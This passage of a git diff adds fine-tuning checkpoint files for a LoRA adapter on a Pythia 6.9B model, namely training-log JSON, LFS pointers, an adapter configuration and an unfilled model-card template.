2.2666666666666666, + "eval_loss": 2.524071216583252, + "eval_runtime": 43.733, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.1998324394226074, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.2446, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.5290536880493164, + "eval_runtime": 43.7796, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.202661395072937, + "learning_rate": 5.748148148148149e-05, + "loss": 2.2898, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.5280601978302, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.4101752042770386, + "learning_rate": 5.62962962962963e-05, + "loss": 2.1206, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.5348124504089355, + "eval_runtime": 43.7317, + "eval_samples_per_second": 22.867, + "eval_steps_per_second": 2.858, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.4827243089675903, + "learning_rate": 5.511111111111112e-05, + "loss": 2.1736, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5345828533172607, + "eval_runtime": 43.748, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4372262954711914, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2083, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.534963846206665, + "eval_runtime": 43.7358, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.3322038650512695, + "learning_rate": 5.274074074074074e-05, + "loss": 2.1604, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.5551891326904297, + "eval_runtime": 43.7474, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.7982910871505737, + "learning_rate": 5.155555555555556e-05, + "loss": 2.0041, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.619675874710083, + "eval_runtime": 43.7429, + "eval_samples_per_second": 22.861, + "eval_steps_per_second": 2.858, + "step": 240 + }, + { + "epoch": 3.3333333333333335, + "grad_norm": 2.1107077598571777, + "learning_rate": 5.037037037037037e-05, + "loss": 1.942, + "step": 250 + }, + { + "epoch": 3.3333333333333335, + "eval_loss": 2.6037955284118652, + "eval_runtime": 43.7364, + "eval_samples_per_second": 22.864, + "eval_steps_per_second": 2.858, + "step": 250 + }, + { + "epoch": 3.466666666666667, + "grad_norm": 1.9783029556274414, + "learning_rate": 4.918518518518519e-05, + "loss": 2.0183, + "step": 260 + }, + { + "epoch": 3.466666666666667, + "eval_loss": 2.6220054626464844, + "eval_runtime": 43.7512, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 260 + }, + { + "epoch": 3.6, + "grad_norm": 1.8481639623641968, + "learning_rate": 4.8e-05, + "loss": 2.0877, + "step": 270 + }, + { + "epoch": 3.6, + "eval_loss": 2.6184496879577637, + "eval_runtime": 43.7386, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 270 + }, + { + "epoch": 3.7333333333333334, + "grad_norm": 1.8271690607070923, + "learning_rate": 4.681481481481481e-05, + "loss": 2.1139, + "step": 280 + }, + { + "epoch": 3.7333333333333334, + "eval_loss": 2.6199121475219727, + "eval_runtime": 43.7417, + "eval_samples_per_second": 22.861, + "eval_steps_per_second": 2.858, + "step": 280 + }, + { + "epoch": 3.8666666666666667, + "grad_norm": 1.9534505605697632, + "learning_rate": 4.5629629629629636e-05, + "loss": 2.065, + "step": 290 + }, + { + "epoch": 3.8666666666666667, + "eval_loss": 2.623281717300415, + "eval_runtime": 43.7442, + "eval_samples_per_second": 22.86, + "eval_steps_per_second": 2.858, + "step": 290 + }, + { + "epoch": 4.0, + "grad_norm": 1.928299069404602, + "learning_rate": 4.444444444444445e-05, + "loss": 2.0962, + "step": 300 + }, + { + "epoch": 4.0, + "eval_loss": 2.6169235706329346, + "eval_runtime": 43.7502, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 300 + }, + { + "epoch": 4.133333333333334, + "grad_norm": 2.410632371902466, + "learning_rate": 4.3259259259259264e-05, + "loss": 1.8775, + "step": 310 + }, + { + "epoch": 4.133333333333334, + "eval_loss": 2.709437370300293, + "eval_runtime": 43.8353, + "eval_samples_per_second": 22.813, + "eval_steps_per_second": 2.852, + "step": 310 + }, + { + "epoch": 4.266666666666667, + "grad_norm": 2.781919240951538, + "learning_rate": 4.2074074074074075e-05, + "loss": 1.8813, + "step": 320 + }, + { + "epoch": 4.266666666666667, + "eval_loss": 2.715420722961426, + "eval_runtime": 43.8196, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 320 + }, + { + "epoch": 4.4, + "grad_norm": 2.7426798343658447, + "learning_rate": 4.088888888888889e-05, + "loss": 1.8863, + "step": 330 + }, + { + "epoch": 4.4, + "eval_loss": 2.720925807952881, + "eval_runtime": 43.9836, + "eval_samples_per_second": 22.736, + "eval_steps_per_second": 2.842, + "step": 330 + }, + { + "epoch": 4.533333333333333, + "grad_norm": 2.5579946041107178, + "learning_rate": 3.970370370370371e-05, + "loss": 1.8657, + "step": 340 + }, + { + "epoch": 4.533333333333333, + "eval_loss": 2.7156050205230713, + "eval_runtime": 43.8526, + "eval_samples_per_second": 22.804, + "eval_steps_per_second": 2.85, + "step": 340 + }, + { + "epoch": 4.666666666666667, + "grad_norm": 2.5620954036712646, + "learning_rate": 3.851851851851852e-05, + "loss": 1.8775, + "step": 350 + }, + { + "epoch": 4.666666666666667, + "eval_loss": 2.7065465450286865, + "eval_runtime": 43.8667, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.85, + "step": 350 + }, + { + "epoch": 4.8, + "grad_norm": 2.4796056747436523, + "learning_rate": 3.733333333333334e-05, + "loss": 1.9735, + "step": 360 + }, + { + "epoch": 4.8, + "eval_loss": 2.7022056579589844, + "eval_runtime": 43.8669, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.85, + "step": 360 + }, + { + "epoch": 4.933333333333334, + "grad_norm": 2.311401844024658, + "learning_rate": 3.614814814814815e-05, + "loss": 1.9683, + "step": 370 + }, + { + "epoch": 4.933333333333334, + "eval_loss": 2.7018933296203613, + "eval_runtime": 43.9361, + "eval_samples_per_second": 22.76, + "eval_steps_per_second": 2.845, + "step": 370 + }, + { + "epoch": 5.066666666666666, + "grad_norm": 2.346043348312378, + "learning_rate": 3.4962962962962965e-05, + "loss": 1.8337, + "step": 380 + }, + { + "epoch": 5.066666666666666, + "eval_loss": 2.7532222270965576, + "eval_runtime": 43.8082, + "eval_samples_per_second": 22.827, + "eval_steps_per_second": 2.853, + "step": 380 + }, + { + "epoch": 5.2, + "grad_norm": 3.011246681213379, + "learning_rate": 3.377777777777778e-05, + "loss": 1.7292, + "step": 390 + }, + { + "epoch": 5.2, + "eval_loss": 2.807420492172241, + "eval_runtime": 43.8249, + "eval_samples_per_second": 22.818, + "eval_steps_per_second": 2.852, + "step": 390 + }, + { + "epoch": 5.333333333333333, + "grad_norm": 3.1823174953460693, + "learning_rate": 3.259259259259259e-05, + "loss": 1.7703, + "step": 400 + }, + { + "epoch": 5.333333333333333, + "eval_loss": 2.793494701385498, + "eval_runtime": 43.8418, + "eval_samples_per_second": 22.809, + "eval_steps_per_second": 2.851, + "step": 400 + }, + { + "epoch": 5.466666666666667, + "grad_norm": 3.0969038009643555, + "learning_rate": 3.140740740740741e-05, + "loss": 1.7738, + "step": 410 + }, + { + "epoch": 5.466666666666667, + "eval_loss": 2.799389600753784, + "eval_runtime": 44.0564, + "eval_samples_per_second": 22.698, + "eval_steps_per_second": 2.837, + "step": 410 + }, + { + "epoch": 5.6, + "grad_norm": 2.961643934249878, + "learning_rate": 3.0222222222222225e-05, + "loss": 1.7961, + "step": 420 + }, + { + "epoch": 5.6, + "eval_loss": 2.7950029373168945, + "eval_runtime": 43.8519, + "eval_samples_per_second": 22.804, + "eval_steps_per_second": 2.851, + "step": 420 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 6.88215023419392e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-420/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-420/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..1b36d56f3e7bbd7abe2f26b35ff49f9f8148b671 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-420/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:cda8e41a408b45a7a6604c90cbebf2f8b1064d9750a6a2900ae126084a84e2d8 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-430/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-430/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-430/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-430/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-430/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-430/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-430/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-430/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..b5fff84092bf27f456f9582161472c89cb6ba4e2 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-430/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:b89e1608c992ef85bc679af4e88d20911e6ced8baba83de0aa7339905453d871 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-430/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-430/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..532cd009d2f70f96644809ca3ee4ad5317e6d010 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-430/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:643bf3d02afae1daa017593e8c9865b015a4f2a0fd46b6b631dee618662b1308 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-430/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-430/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..eb08c850753d158caff59458c0a4d2fa22ad5de8 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-430/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5f5c1faf0e9eb010c64f51b35236463635709da903fff7194839666558e862b6 +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-430/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-430/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..e44e26be68a19106ac45dab84a43a732acb91528 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-430/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:579c34af7d7ec0609fbd3479f4f8d8571c4cef90c76d9f6bacf43740f58855d8 +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-430/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-430/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..084d154ec4e49c2bf5b8d664612480eb6614a735 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-430/trainer_state.json @@ -0,0 +1,678 @@ +{ + "best_metric": 2.4732604026794434, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 5.733333333333333, + "eval_steps": 10, + "global_step": 430, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37742483615875244, + "learning_rate": 7.881481481481482e-05, + "loss": 2.449, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.499645471572876, + "eval_runtime": 43.7851, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.37197864055633545, + "learning_rate": 7.762962962962963e-05, + "loss": 2.474, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.4948627948760986, + "eval_runtime": 43.7584, + "eval_samples_per_second": 22.853, + "eval_steps_per_second": 2.857, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.4249051809310913, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4313, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.488459825515747, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.41083791851997375, + "learning_rate": 7.525925925925926e-05, + "loss": 2.3956, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.484058380126953, + "eval_runtime": 43.7468, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.4243389070034027, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4302, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.4803571701049805, + "eval_runtime": 43.7346, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.397676944732666, + "learning_rate": 7.28888888888889e-05, + "loss": 2.3347, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.476881504058838, + "eval_runtime": 43.8912, + "eval_samples_per_second": 22.784, + "eval_steps_per_second": 2.848, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.35474804043769836, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4288, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.4748315811157227, + "eval_runtime": 43.7178, + "eval_samples_per_second": 22.874, + "eval_steps_per_second": 2.859, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3500179052352905, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4189, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.4732604026794434, + "eval_runtime": 43.7328, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4862900674343109, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3734, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.475278377532959, + "eval_runtime": 43.7793, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.6158331632614136, + "learning_rate": 6.814814814814815e-05, + "loss": 2.3574, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.4776110649108887, + "eval_runtime": 43.8278, + "eval_samples_per_second": 22.817, + "eval_steps_per_second": 2.852, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.6770918965339661, + "learning_rate": 6.696296296296296e-05, + "loss": 2.3454, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.4802608489990234, + "eval_runtime": 43.7989, + "eval_samples_per_second": 22.832, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.8334079384803772, + "learning_rate": 6.577777777777777e-05, + "loss": 2.3435, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.4808130264282227, + "eval_runtime": 43.7637, + "eval_samples_per_second": 22.85, + "eval_steps_per_second": 2.856, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.7085514664649963, + "learning_rate": 6.45925925925926e-05, + "loss": 2.2746, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.481640577316284, + "eval_runtime": 43.8381, + "eval_samples_per_second": 22.811, + "eval_steps_per_second": 2.851, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.9837716817855835, + "learning_rate": 6.340740740740741e-05, + "loss": 2.3891, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.482353448867798, + "eval_runtime": 43.7812, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.8127220869064331, + "learning_rate": 6.222222222222223e-05, + "loss": 2.3203, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.4834463596343994, + "eval_runtime": 43.7397, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8362072110176086, + "learning_rate": 6.103703703703704e-05, + "loss": 2.1909, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.503129005432129, + "eval_runtime": 43.7501, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.2620470523834229, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.253, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.524071216583252, + "eval_runtime": 43.733, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.1998324394226074, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.2446, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.5290536880493164, + "eval_runtime": 43.7796, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.202661395072937, + "learning_rate": 5.748148148148149e-05, + "loss": 2.2898, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.5280601978302, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.4101752042770386, + "learning_rate": 5.62962962962963e-05, + "loss": 2.1206, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.5348124504089355, + "eval_runtime": 43.7317, + "eval_samples_per_second": 22.867, + "eval_steps_per_second": 2.858, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.4827243089675903, + "learning_rate": 5.511111111111112e-05, + "loss": 2.1736, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5345828533172607, + "eval_runtime": 43.748, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4372262954711914, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2083, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.534963846206665, + "eval_runtime": 43.7358, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.3322038650512695, + "learning_rate": 5.274074074074074e-05, + "loss": 2.1604, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.5551891326904297, + "eval_runtime": 43.7474, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.7982910871505737, + "learning_rate": 5.155555555555556e-05, + "loss": 2.0041, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.619675874710083, + "eval_runtime": 43.7429, + "eval_samples_per_second": 22.861, + "eval_steps_per_second": 2.858, + "step": 240 + }, + { + "epoch": 3.3333333333333335, + "grad_norm": 2.1107077598571777, + "learning_rate": 5.037037037037037e-05, + "loss": 1.942, + "step": 250 + }, + { + "epoch": 3.3333333333333335, + "eval_loss": 2.6037955284118652, + "eval_runtime": 43.7364, + "eval_samples_per_second": 22.864, + "eval_steps_per_second": 2.858, + "step": 250 + }, + { + "epoch": 3.466666666666667, + "grad_norm": 1.9783029556274414, + "learning_rate": 4.918518518518519e-05, + "loss": 2.0183, + "step": 260 + }, + { + "epoch": 3.466666666666667, + "eval_loss": 2.6220054626464844, + "eval_runtime": 43.7512, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 260 + }, + { + "epoch": 3.6, + "grad_norm": 1.8481639623641968, + "learning_rate": 4.8e-05, + "loss": 2.0877, + "step": 270 + }, + { + "epoch": 3.6, + "eval_loss": 2.6184496879577637, + "eval_runtime": 43.7386, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 270 + }, + { + "epoch": 3.7333333333333334, + "grad_norm": 1.8271690607070923, + "learning_rate": 4.681481481481481e-05, + "loss": 2.1139, + "step": 280 + }, + { + "epoch": 3.7333333333333334, + "eval_loss": 2.6199121475219727, + "eval_runtime": 43.7417, + "eval_samples_per_second": 22.861, + "eval_steps_per_second": 2.858, + "step": 280 + }, + { + "epoch": 3.8666666666666667, + "grad_norm": 1.9534505605697632, + "learning_rate": 4.5629629629629636e-05, + "loss": 2.065, + "step": 290 + }, + { + "epoch": 3.8666666666666667, + "eval_loss": 2.623281717300415, + "eval_runtime": 43.7442, + "eval_samples_per_second": 22.86, + "eval_steps_per_second": 2.858, + "step": 290 + }, + { + "epoch": 4.0, + "grad_norm": 1.928299069404602, + "learning_rate": 4.444444444444445e-05, + "loss": 2.0962, + "step": 300 + }, + { + "epoch": 4.0, + "eval_loss": 2.6169235706329346, + "eval_runtime": 43.7502, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 300 + }, + { + "epoch": 4.133333333333334, + "grad_norm": 2.410632371902466, + "learning_rate": 4.3259259259259264e-05, + "loss": 1.8775, + "step": 310 + }, + { + "epoch": 4.133333333333334, + "eval_loss": 2.709437370300293, + "eval_runtime": 43.8353, + "eval_samples_per_second": 22.813, + "eval_steps_per_second": 2.852, + "step": 310 + }, + { + "epoch": 4.266666666666667, + "grad_norm": 2.781919240951538, + "learning_rate": 4.2074074074074075e-05, + "loss": 1.8813, + "step": 320 + }, + { + "epoch": 4.266666666666667, + "eval_loss": 2.715420722961426, + "eval_runtime": 43.8196, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 320 + }, + { + "epoch": 4.4, + "grad_norm": 2.7426798343658447, + "learning_rate": 4.088888888888889e-05, + "loss": 1.8863, + "step": 330 + }, + { + "epoch": 4.4, + "eval_loss": 2.720925807952881, + "eval_runtime": 43.9836, + "eval_samples_per_second": 22.736, + "eval_steps_per_second": 2.842, + "step": 330 + }, + { + "epoch": 4.533333333333333, + "grad_norm": 2.5579946041107178, + "learning_rate": 3.970370370370371e-05, + "loss": 1.8657, + "step": 340 + }, + { + "epoch": 4.533333333333333, + "eval_loss": 2.7156050205230713, + "eval_runtime": 43.8526, + "eval_samples_per_second": 22.804, + "eval_steps_per_second": 2.85, + "step": 340 + }, + 